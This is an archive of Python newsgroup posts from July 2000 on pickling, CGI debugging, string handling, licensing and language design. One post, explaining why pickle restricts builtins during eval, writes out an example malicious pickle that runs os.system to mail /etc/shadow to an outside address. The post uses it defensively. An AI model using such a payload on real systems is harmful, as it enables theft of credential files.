This uses a quorum-based algorithm. Basically, you have multiple
replicated storage servers and the system is available as long as
more than half of them can communicate. It's pretty cool.
See http://www.zope.org/Wikis/ZEO/QuorumBasedReplication
for gory details. :)

Jim

--
Jim Fulton           mailto:jim at digicool.com   Python Powered!        
Technical Director   (888) 344-4332            http://www.python.org  
Digital Creations    http://www.digicool.com   http://www.zope.org    

Under US Code Title 47, Sec.227(b)(1)(C), Sec.227(a)(2)(B) This email
address may not be added to any commercial mail list with out my
permission.  Violation of my privacy with advertising or SPAM will
result in a suit for a MINIMUM of $500 damages/incident, $1500 for
repeats.


From JohnH at PHM.GOV.AU  Mon Jul 31 20:27:32 2000
From: JohnH at PHM.GOV.AU (Hirsch, John)
Date: Tue, 1 Aug 2000 10:27:32 +1000 
Subject: removing characters from a string?
Message-ID: <A90DD8D7B82FD311B4D00008C7DBD6EAB5EB87@phm-exch.phm.gov.au>

>say I had a string. 


>this_string = "jesse at multimediacollective.com"

>"""and I wanted to get rid of the @, how would I do that? This 
>process has to be efficent for removing large quantities of special 
>characters, such as <,>,#,%,* etc, from the same string.  

>Any advice would be very helpful.  Thanks in advance, Jesse. 

You could do this, not sure how fast or slow it is.
>>> 
>>> import re
>>> this_string = "jesse at multimediacollective.com"
>>> pattern = re.compile('\W')
>>> new_line = re.sub(pattern, '', this_string)
>>> new_line
'jessemultimediacollectivecom'
>>> 

It will remove all non alphanumeric characters from a string.
For more info on re have a look at the Regular Expression HOWTO
http://www.python.org/doc/howto/regex/regex.html

john
johnh at phm.gov.au




From thomas at cintra.no  Fri Jul 21 10:02:44 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Fri, 21 Jul 2000 14:02:44 GMT
Subject: Graphs - I need more graphs ( Simulation development )
Message-ID: <397a5658.88821067@news.online.no>

Ok, I need more info. I got an example in the Programming Python book
by M. Lutz but I`d like to have more of the same. I`m pretty new to
stuff like this so it needs to be *very* simple and basic. Gonna use
it in a simulation-app, where objects interact with eachother and are
affected by their environment. 

I need basic info on how to approach this, how to model robots in a
virtual world etc. What data-types to use etc. Graphs are essential I
believe so I need to understand how these work. For some reason the
example in Programming Python doesn't make sense to me. At least, when
I try to alter it, it does crazy stuff like returning the longest path
to a given graph, when there's a lot shorter paths available. Stuff
like that. I know I`m probably the problem here, but if anybody has
any input on this it would be great, if just a simple code example on
graphs and how the work. :->


Thomas


From tismer at appliedbiometrics.com  Thu Jul  6 12:14:28 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Thu, 06 Jul 2000 18:14:28 +0200
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154> <8jno3n$p6m$1@nnrp2.deja.com> <395F7A3A.FFB0B903@appliedbiometrics.com>
Message-ID: <3964B064.AC484A7F@appliedbiometrics.com>

Hmm, have to correct myself a little...

Christian Tismer wrote:
> 
> Hi Sean,
...
> > The __getattr__ hook achieves a Delphi-like effect
> > in which attributes of these sub-ordinate objects
> > appear as attributes of the top level object.
> >
> > It seemed like a good idea at the time:-)
> 
> Well, I see that your __getattr__ is a little insane.
> 
>         def __getattr__(self,n):
>                 if hasattr(self.CurPos,n):
>                         return getattr(self.CurPos,n)
>                 else:
>                         raise PyxieException (
>                         "No attribute '%s' on xTree or current xNode" % n)
> 
> It redirects *every* reading attribute access to the CurPos
> object, so Pickle can't even figure out what your xTree's
> class is. Also, the CurPos object can's be saved with it,
> nothing is accessible.

I was not correct here. According to
http://www.python.org/doc/ref/attribute-access.html
section 3.3.2, the attribute lookup first walks the usual
way, before __getattr__ is invoked.

The problem with your solution is simply this:
(p|cP)ickle does not recreate your curpos object
which you create in __init__ . __init__ is not
called at all.

Now the following happens:
When *ickle tries to reconstruct your object, it is
looking for a __setstate__ property which is not there.
So, __getattr__ is called which then tries to find
self.curpos, which is also not there, causing
__getattr__ to be called, which in turn...... *POFF*.

The easy solution is this:
Give it a __setstate__ method that just creates
the curpos object, like __init__would do.

cheers - chris

file picklish.py:
-------------------------
class magic:
    def __init__(self):
        self.uh = "oh"

class ughh:
    def __getattr__(self, n):
        print "getattr called on", n
        if hasattr(self.curpos, n):
            return getattr(self.curpos, n)
        raise AttributeError, n
    def __init__(self):
        self.curpos = magic()

    def __setstate__(self, state):
        self.curpos = magic()

import pickle, cPickle

def test(use_cPickle = 0):
    pick= (pickle, cPickle) [use_cPickle]
    a = ughh()
    b = pick.dumps(a)
    c = pick.loads(b)
    return c


-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From olivierS.dagenaisP at canadaA.comM  Tue Jul 18 21:26:19 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 19 Jul 2000 01:26:19 GMT
Subject: newbie urlopen() question
References: <8l2lts$fln$1@nnrp1.deja.com>
Message-ID: <%s7d5.1153$8Q3.56411@news20.bellglobal.com>

Well, your URL is malformed.  For local files, it usually has to be prefixed
with "file://", so try

url = "file://a:/1.htm"

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


<c825934 at vitgcab4.telstra.com.au> wrote in message
news:8l2lts$fln$1 at nnrp1.deja.com...
> I have a simple file on my A drive (in the root) called 1.htm.
>
> Why doesn't the following code succeed in opening the file? (It works
> fine if I assign a valid http address to url. But when I assign the
> address below the IOError occurs):
>
> import urllib
> url="a:1.htm"
>
> try:
>     f = urllib.urlopen(url)
>     print f.read()
> except IOError:
>     print "Could not open " + url
>
> Any help much appreciated.
>
> Peter Dann
> Melbourne, Australia
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From gmcm at hypernet.com  Mon Jul 17 23:11:34 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 18 Jul 2000 03:11:34 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155> <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <8F74E7307gmcmhypernetcom@199.171.54.155>

Huaiyu Zhu wrote: 

>On 17 Jul 2000 23:19:16 GMT, Gordon McMillan <gmcm at hypernet.com> wrote:

>>  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

>Good point. So let me say why I do not like this.  (Doesn't mean it has
>to die.)  :-)
>
>In a program where there are a lot of computations, you'll get either
>something like a ritual on every line,
>
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

[snip]

>or you get 
>
>PyAlgebra.evaluate(r'(A .* B)\C
>                     (A .* B)\C
>                     (A .* B)\C', A=A, B=B, C=C)
>
>Everybody would rush for the latter.  In the end what's inside the quote
>would be a minilanguage with all the bells and wistles of python.  This
>would be just similar to patching the parser, with lesser results.

It would be exactly what SQL and regular expression users deal with every 
day. I'm sure some ex-Perlers wish that regexes were "first class" objects, 
but there's little noise about it; and none whatsoever from SQL users.

And you get the advantage that you can use the same syntax Matlab uses.

-Gordon


From aahz at netcom.com  Thu Jul 27 10:30:00 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 27 Jul 2000 14:30:00 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature>
Message-ID: <8lph18$461$1@slb6.atl.mindspring.net>

In article <397FCE9C.F22BB6B4 at see.my.signature>,
Greg Ewing  <to_get_my_address at see.my.signature> wrote:
>
>Maybe we need a new term to describe Pythonic parameter passing. Let's
>call it "pass by spanish inquisition", because C/C++-heads are never
>expecting it.

Call it "pass by Spanish acquisition", and I'll play along.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From rumjuggler at cryptarchy.org  Fri Jul 28 23:25:42 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 03:25:42 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com> <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com> <slrn8o40hd.49c.grey@teleute.rpglink.com>
Message-ID: <atj4oscr2unuc4kneuf6qkn6cubg1q63rp@4ax.com>

On Fri, 28 Jul 2000 22:01:20 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 18:56:09 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>>>>Any _sequence_ can be a single element or sequence.
>>>>Any _single element_ can't be a single element or sequence.
>>>
>>>    Let's pause and reflect on a single element not being able to be a single
>>>element.
>
>>You are, I think, deliberately misinterpreting me.
>
>>Any single element can't be "a single element or a sequence".  It can only
>>be a single element.
>
>    Nope, just grokking what is said.  If it was a typo, please say so.  From
>what I see above in the 2nd line is the statement that any single element
>can not be a single element.  Say single element is a and we get a != a.

Ah.  What I meant, and perhaps didn't express very well, is that while a
sequence can be interpreted as either a single element, or a set of
elements, a single element cannot be interpreted that way (that is, as a
single element or a set of elements).  It can only be interpreted as a
single element.

I was thinking syllogistically; if all A is B, then any A can be either A
or B, but any B can't necessarily be either B or A--it can only be B.

-- 
Barnabas T. Rumjuggler

More than half the people on the planet are female.
OR WYMMYN AS WE LIKE TO CALL THEM IN THE TRADE!!
 -- Beable van Polasm


From stephen_purcell at yahoo.com  Wed Jul 26 18:29:33 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 27 Jul 2000 08:29:33 +1000
Subject: Problems installing PIL on linux
In-Reply-To: <397F1232.27791F0C@yahoo.com>; from slinkp23@yahoo.com on Wed, Jul 26, 2000 at 12:30:42PM -0400
References: <397F1232.27791F0C@yahoo.com>
Message-ID: <20000727082933.C9696@inkontact.com.au>

Paul Winkler wrote:
> 
> I'm trying to install PIL on a RedHat 6.1 system.
> 
> I've downloaded the Imaging-1.1.tar.gz from the PIL website.
> Following the instructions in the README, I get as far as step 8,
> the actual build. It looks like step 7 (make -f Makefile.pre.in
> boot) is finishing OK, but the created makefile does not work. I get
> this:
> 
> # make
> make: *** No rule to make target
> `/usr/lib/python at VERSION@/config/Makefile', needed by `sedscript'. 
> Stop.

My advice is to get the RPM for 1.0b1 unless there's a particular need for
fixes or features that can only be found in 1.1. Works fine for me.

It's a shame that there seems to be no RPM available for 1.1. (I'm just one
of those lazy people who more or less refuses to install anything that
doesn't come in an RPM; I tire easily of tracking down make problems.)

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From shapr at uab.edu  Tue Jul 18 17:52:22 2000
From: shapr at uab.edu (Shae Erisson)
Date: Tue, 18 Jul 2000 21:52:22 GMT
Subject: Duplicates again
References: <397458FF.E5E88361@VerizonWireless.com>
Message-ID: <3974D4A6.3CF1783@uab.edu>

Bill Scherer wrote:
> 
> It's happening again, duplicates by the dozen.
> 
> sigh.
> 
> I'm not the only one, am I?
> 
> hoping-someone-is-listening-who-can-do-something-about-it-ly yrs,

One repeated post sent from deja.com came up with these two path/ID
values:

<snip>news.maxwell.syr.edu!News.Math.NCTU.edu.tw!news.cs.nthu.edu.tw!news.nthu.edu.tw!newsfeed.nthu.edu.tw!news.mcu.edu.tw!news.ntu.edu.tw!OpenBazaar
Message-ID: <3bRMLT$l5r at openbazaar.net>

<snip>news.maxwell.syr.edu!nntp2.deja.com!nnrp1.deja.com!not-for-mail
Message-ID: <8kvkvt$68h$1 at nnrp1.deja.com>

The repeated post also has these values in its header:
NNTP-Posting-Host:linux3.cc.ntu.edu.tw
X-Trace:gemini.ntu.edu.tw 963921703 6940 140.112.8.139 (18 Jul 2000
12:01:43 GMT)

I think that's where the problem is.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely


From guido at python.org  Wed Jul 26 21:40:25 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 01:40:25 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com>
Message-ID: <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com>

Steve Lamb wrote:
> Stupid question: Why is it everyone and their mother is coming out
> with a new open source license for their project instead of sticking
> with the established ones?  I mean, it causes headaches trying to
> keep all of the licenses legally compatible with one another which
> can cause problems for open source down the road when these licenses
> are actually put to the legal test.

Excellent question.  It's not my choice, that's for sure -- I've tried
to convince CNRI [my old employer] to keep the old license, which is
short and sweet and liked by all.  But CNRI insists that the old
license is "not a legally valid license".  And since they have most of
the power in this case, it's their lawyers' opinion that counts.
Python is a "work for hire", owned by CNRI to the extent that it was
produced under CNRI employment, and thus CNRI owns the all-important
copyright.

I'm working with BeOpen.com [my new employer] to ensure that something
like this won't happen again -- I do not wish this upon any open
source developers.

Note that as far as I cal tell, my change of employers is not the
reason for CNRI's desire to change the license; they have been talking
about changing it for years, and since Python 1.5.2 came out their
plan was to change the license on the occasion of the release of
Python 1.6.  If anything, the long hours that BeOpen's Bob Weiner has
put into negotiating the license changes with CNRI probably make the
new license more liberal than I would have been able to negotiate on
my own if I were still a CNRI employee.

(And no, I can't show the new license text yet.  More news on Friday.)

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From aahz at netcom.com  Sun Jul  9 10:50:21 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 9 Jul 2000 14:50:21 GMT
Subject: CNRI vs. BeOpen (was Re: Splitting c.l.py...)
References: <LNBBLJKPBEHFEDALKOLCKENPGIAA.tim_one@email.msn.com>
Message-ID: <8ka3fd$87m$1@slb6.atl.mindspring.net>

In article <LNBBLJKPBEHFEDALKOLCKENPGIAA.tim_one at email.msn.com>,
Tim Peters <tim_one at email.msn.com> wrote:
>
>[Alex <cut_me_out at hotmail.com>]
>> Is there a synopsis of the legal woes that befell python somewhere?
>> It sounds sort of interesting.
>
>[Jeremy Hylton]
>> It's not interesting <0.2 wink>.
>
>And it's even less interesting for me, as (unlike Jeremy) I never
>worked at CNRI so have no interest at all in their internal politics.
>From my POV, it looks almost exactly like a divorce, except that
>besides just arguing over custody of the children (Python's license
>makes that pretty much a non-issue over the long haul), they're also
>wrangling over who gets the kid's used clothes, the old security
>blanket, and the first tooth that fell out.  Separations are painful!
>Sometimes messy too.  This is apparently one of those.  I do believe
>both sides want Python to thrive, though.

I think what would be interesting is to know what effect this is having
on Python (e.g. is it delaying 1.6?).  It would also be nice to know if
there is an ETA for getting all this resolved.  It would be useful to
know what parts of the Python community are affected; I notice, for
example, that starship.python.net still says to send checks for PSA to
CNRI -- is that correct?

(My interest in the last question comes mainly because I'm getting ready
to upload my thread tutorial to a web site, and I'd prefer to use a
Python site rather than my own.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From cg at gaia.cdg.acriter.nl  Tue Jul 25 16:55:39 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 25 Jul 2000 22:55:39 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <397DE866.CA57D01D@alabanza.net>
Message-ID: <8lkusb$ngt$1@gaia.cdg.acriter.nl>

ye, wei <yw at alabanza.net> said:
>> 1. There are no keywords to declare static or instance variables; it
>> all depends where they are placed(whether it's right after the <class>
>> statement, or inside a <def>). Isn't it harder for other programmers to
>> know at one glance what type of attributes the class define?
>
>This is what I couldn't tolerate as well!!
>I'm the same guy is looking for another new language, my path
>is C/C++->Java->PHP->Perl.
>
Intolerable is a strong word. I've yet to have a problem with this, because
it almost never goes wrong in real life (maybe during a code/test iteration,
but it's not problematic at run-time). Typo's only slip through if you
do a wrong assignment (e.g. "Foo = 1" and "foo = 2"). In an OO system, 
variables typically have a very limited scope, are qualified by classnames
and therefore tend to be shorter, largely alleviating the problem procedural
languages have with undeclared variables.

>I'm the same frustrated as you about the Perl/Java and now Python,
>Java is a good language, however it's not open language. 
Could you elaborate? It seems quite open to me. Even the GNU project
accepts Java software, nowadays.

>Perl has some
>language deficients as well. Python is so loose for type checking. However
>today I just read the Perl6 vision, it makes me very exciting -
>
Depends what you define as a) "a type", and b) "type checking" for Python. It
also assumes that an absense of whatever you define under b) is a
disadvantage, but there are more languages that employ the same kind of
type checking (Smalltalk, to name one) and are quite succesful. It's
different, but it works.

>
>It also will bring some python's features into Perl.  :)
>
But it'll always stay a write-only language.

-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From matthias_w at my-deja.com  Thu Jul 20 03:14:22 2000
From: matthias_w at my-deja.com (Matthias)
Date: Thu, 20 Jul 2000 07:14:22 GMT
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature>
Message-ID: <8l68s5$3ht$1@nnrp1.deja.com>

> >
> > We're looking just to pair up elements.
>
> In that case, obviously the solution is to combine this
> thread with the one on new operator symbols, and define
> an elementwise tuple-creation operator
>
>    .,
>
> as in
>
>   [1,2,3] ., [4,5,6] == [(1,4), (2,5), (3,6)]
...
>   for x,y,z in a.,b.,c:
>    ....

Hy
I like that one, but since bitwise operations do not make sense on
range operators (,do they?), why not use "&" since it is often used as
alternative for "and" or "+" ??:

 for x,y,z in a&b&c:
   ...

An other question:
Who should list/tuples be handled things like this:
 for x,y in  [1,2,3] & [1,2,3,4]:
   ...

:-)
Matthias


Sent via Deja.com http://www.deja.com/
Before you buy.


From embed at NOSPAM.geocities.com  Wed Jul  5 14:58:43 2000
From: embed at NOSPAM.geocities.com (Warren Postma)
Date: Wed, 5 Jul 2000 14:58:43 -0400
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154>
Message-ID: <vzL85.16702$227.301196@nnrp1.uunet.ca>

"Gordon McMillan" <gmcm at hypernet.com> wrote in message
news:8F655BA3Egmcmhypernetcom at 199.171.54.154...
> [posted and mailed]
> C'mon Sean! You've been around a while. You know when __getattr__ hacks go
> bad it's because they go recursive. (And the stack size on Windows is off
> by  some tiny amount, so it GPFs instead of traps.)


That kinda says (a) Windows Sucketh, and (b) surely there must be a
workaround for the Infinite-Recursion-Crash bug?

Oh yeah, there is, .... It's called Christian Tismer's Stackless Python.
Hope that stackless makes it into the official python, by 1.7, or if not,
there's always 3000.  Here's hoping.

Warren




From alex at magenta.com  Fri Jul 28 08:43:38 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 14:43:38 +0200
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial> <398178EA.7576E13A@hursley.ibm.com>
Message-ID: <8lrvdh015qk@news2.newsguy.com>

"Paul Duffin" <pduffin at hursley.ibm.com> wrote in message
news:398178EA.7576E13A at hursley.ibm.com...
> Moshe Zadka wrote:
> >
> > Because numbers are numbers and strings are not. Given, Python's numeric
> > model is not very good.
>
> What is wrong with Python's numeric model ?

What about the silent, implicit, automatic conversion from long integer to
floating point?  It can silently, implicitly, automatically lose an
unlimited
amount of information.  I would not call that "very good"...


Alex





From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 23:50:03 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 17 Jul 2000 03:50:03 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <3bQkNS$jK1@openbazaar.net>

I also had a problem with running a wxPython app on a Win95 machine.  Mine
was crashing in the wx(something).DLL.  I think it might have been an MFC
DLL issue, which I have seen a few posts discuss in this newsgroup before.
Try a search on www.deja.com (go to USENET, and then find this newsgroup and
search for something like "wxPython MFC") to see what turns up...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Rob" <europax at home.com> wrote in message
news:iFtc5.19052$V34.236887 at news1.sttls1.wa.home.com...
> I want to run the demo program included in wxPython 2.1.  Upon starting it
I
> immediately get the message appended to this post.  I have two versions of
> Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them
and
> get the same result.  I tried running it from the console, from PythonWin,
> and from IDLE, all with negative results.  Does anyone have an idea of
what
> is going on?
>
> Thanks,  Rob.
>
> PYTHONWIN caused an exception c06d007eH in module KERNEL32.DLL at
> 0137:bff9a07c.
> Registers:
> EAX=0063d7bc CS=0137 EIP=bff9a07c EFLGS=00000246
> EBX=00000000 SS=013f ESP=0063d7b8 EBP=0063d80c
> ECX=0063d7d4 DS=013f ESI=0063d864 FS=2287
> EDX=ffffffff ES=013f EDI=00000000 GS=0000
> Bytes at CS:EIP:
> 5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
> Stack dump:
> 018a9c34 c06d007e 00000000 00000000 bff9a07c 00000001 0063d830 bff782c7
> 817f9000 81821708 00081822 00000000 0063d6e3 00000000 bff7c4f7 0188e4d0
>
>


From niels at endea.demon.nl  Tue Jul 11 15:05:04 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Tue, 11 Jul 2000 21:05:04 +0200
Subject: references again
References: <396A1233.17F2F302@muc.das-werk.de> <396B4CF3.90B13F9A@endea.demon.nl> <396B60D0.68BD2E62@muc.das-werk.de>
Message-ID: <396B6FE0.E26D7C4A@endea.demon.nl>


Thomas Thiele schreef:
> 
> But I don't understand why they have used eval and write the string it in __buildins__.

eval() is probably the easiest and the fastest way to get from repr(s)
back to s. The { '__builtins__': {} } argument forces the evaluation to
take place in an environment without access to any built-in functions.
Otherwise someone might maliciously feed you a pickle like
S`__import__('os').system('mail logins at psu.org </etc/shadow')`
p0

-- 
Niels Diepeveen
Endea automatisering



From bjorn at roguewave.com  Thu Jul  6 14:57:32 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 06 Jul 2000 12:57:32 -0600
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3963E6D6.F47FA4D8@roguewave.com> <3964BC64.761858FA@bioeng.ucsd.edu> <3964C635.E730EB97@roguewave.com> <3964C6FE.9BEC7ABB@bioeng.ucsd.edu>
Message-ID: <3964D69C.AAA9EEA7@roguewave.com>

Curtis Jensen wrote:
> 
> Bjorn Pettersen wrote:
> >
> > Curtis Jensen wrote:
> > >
> > > Bjorn Pettersen wrote:
> > > >
> > > > What you're seeing are the symptoms of Python having thrown an exception
> > > > and the weblog not capturing all the information. The solution is to make
> > > > sure Python can only throw where you can grab the exception and do
> > > > something useful with it, like printing it to the browser...  Try the
> > > > following (but make sure you can execute it from the command line first --
> > > > one possible error is a SyntaxError, which this scheme will not save you
> > > > from...)
> > > >
> > > > -- bjorn
> > > >
> > > > #!/usr/bin/env python
> > > > print """Content-type: text/html
> > > >
> > > > """
> > > >
> > > > def main():
> > > >     from time import *
> > > >
> > > >     print "<HTML>"
> > > >     print "<Head>"
> > > >     print "<Title>Hello World</Title>"
> > > >     print "</Head>"
> > > >     print "<Body>"
> > > >     print "<H1>Hello World !</H1>"
> > > >     print "<hr>"
> > > >     print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> > > >
> > > >     print "</Body>"
> > > >     print "</HTML>"
> > > >
> > > > import traceback
> > > >
> > > > def execute(fn):
> > > >     # make sure any errors are legible, and directed to the user.
> > > >     try:
> > > >         sys.stderr = sys.stdout
> > > >         fn()
> > > >     except:
> > > >         print '<h1>Something went wrong!!!</h1>'
> > > >         print 'Please send the transcript below to webmaster at your.web<p>'
> > > >         print '\n\n<pre>'
> > > >         traceback.print_exc()
> > > >
> > > > execute(main)
> > > >
> > >
> > > I tried this.  I got the same errors in the log and in the browser.  I
> > > took out the print line since it caused a discussion.  Any more
> > > suggestions?  Thanks.
> >
> > You do need the print line! The first thing your cgi must print out
> > (modulo cookies) is "Content-type: text/html" followed by exactly two
> > newlines (yes, I know there are situations where this isn't true, but in
> > this case it is.. <wink>)
> 
> Sorry, I didn't say witch line.  I took out the print line with the time
> in it.  So now it is a simple hello world script.  By the way, is,
> print 'Content-type: text/html\n\n'
> just as good as they way you have it?  I've tried both.
> 
> >
> > Check that:
> >
> >  - your script is executable (by everyone)
> 
> It is. permissions are 775
> 
> >  - some webservers require a .cgi extension (a symbolic link to your .py
> > will work)
> 
> I tried that and got the same errors
> 
> >  - python is where you think it is, and is executable (again by
> > everyone)
> 
> from the unix prompt, I can run helloworld.py and it prints fine.
> Permissions on python are 755
> 
> >  - your webserver is set up to execute cgi scripts.
> 
> In the same directory as helloword.py there are Pearl cgi scripts that
> run fine.
> 
> > If all that works, try the simplest possible cgi script, something like:
> >
> > #!/usr/local/bin/python
> > print  """Content-type: text/html
> >
> > """
> > print '<h1>hello world</h1>'
> 
> We tried this and got the same problem.
> Anything else?  Thanks for the help so far.

print 'Content-type: text/html\n\n' is fine...

Hmmm... it seems clear that there is something going wrong when the
webserver is trying to execute your script (the errormessage being
"premature end of headers")...

How about

#!/bin/sh
echo "Content-type: text/html"
echo
echo "<h1>hello world</h1>"

if that works, create a text file called yyy.txt and make it world
writable (777), then try:

#!/bin/sh
echo "Content-type: text/html"
echo
/usr/local/httpd/cgi-bin/test_jmsun/cont_forms/helloworld.py >> yyy.txt
2>&1

Your browser should tell you that the document contained no data, but
the yyy.txt file will hopefully contain the error... (you're getting
very close to the limit of my cgi knowledge here ;-)

-- bjorn



From alex at magenta.com  Tue Jul 18 17:26:06 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 18 Jul 2000 23:26:06 +0200
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu> <Rv_c5.1492$6E.294613@ptah.visi.com>
Message-ID: <8l2i4101pon@news2.newsguy.com>

"Eric Hopper" <hopper at omnifarious.mn.org> wrote in message
news:Rv_c5.1492$6E.294613 at ptah.visi.com...
> In article <vndlmz0b5jp.fsf at camelot-new.ccs.neu.edu>, Justin Sheehy
> <dworkin at ccs.neu.edu> wrote:
> >
> > Just define the class, and make sure that it provides the proper
> > interface.  Note that I'm not using "interface" with any special
> > language-dependent meaning here.  If it behaves properly, it behaves
> > properly, and that is all that matters.
>
> Whee!  Inheritance by mysteriously coinciding method names is so much fun!

Yep, it is exactly what C++ does in its templates.  Of course,
they're resolved at compile-time in C++, but then Python is
not about compile-time vs run-time distinctions, is it?

See Austern's excellent book on Generic Programming (and, also,
on the STL) about the GP metaconstruct he calls "concept", and
how and why it's not modeled by inheritance even in C++.  The
compiler cannot diagnose many kind of concept-violations
anyway (they're deeply semantic, e.g., the concept that a
certain function imposes a strict weak ordering) so little
is really gained by compile-time checks.


Alex





From ddb at crystal.uwa.edu.au  Wed Jul 26 04:09:32 2000
From: ddb at crystal.uwa.edu.au (Douglas du Boulay)
Date: Wed, 26 Jul 2000 16:09:32 +0800
Subject: linear algebra in pure Python?
Message-ID: <397E9CBC.2AD8FA89@crystal.uwa.edu.au>

Hi,
I know that there is the Numeric python extension and/or the
Matrix extension MatPy, but is there not anywhere a pure Python
linear algebra package exploiting lists of lists for  matrices and the
like?
(I would like to use eigen analysis etc. with JPython)
Thanks
Doug


From paulb at infercor.no  Thu Jul 13 12:13:45 2000
From: paulb at infercor.no (Paul Boddie)
Date: Thu, 13 Jul 2000 18:13:45 +0200
Subject: Solaris Binaries
References: <Pine.GHP.4.21.0007111141360.16443-100000@don.et.byu.edu> <yfmvgyca6ka.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me> <Pine.GHP.4.21.0007121108440.17209-100000@don.et.byu.edu>
Message-ID: <396DEAB9.94FE44BC@infercor.no>

"C. Porter Bassett" wrote:
> 

[sunfreeware.com]

> That is where I tried first.  The python that they have does not even have
> the thread module.

You could always download gcc from there and then build Python from its sources.
Then you'll have the features that you want. Apart from that, if you just need a
Python binary for CGI purposes there's the CGIPython archive:

  http://starship.python.net/~lemburg/mxCGIPython.html

Regards,

Paul


From cmyanko at bigfoot.com  Tue Jul 25 08:07:08 2000
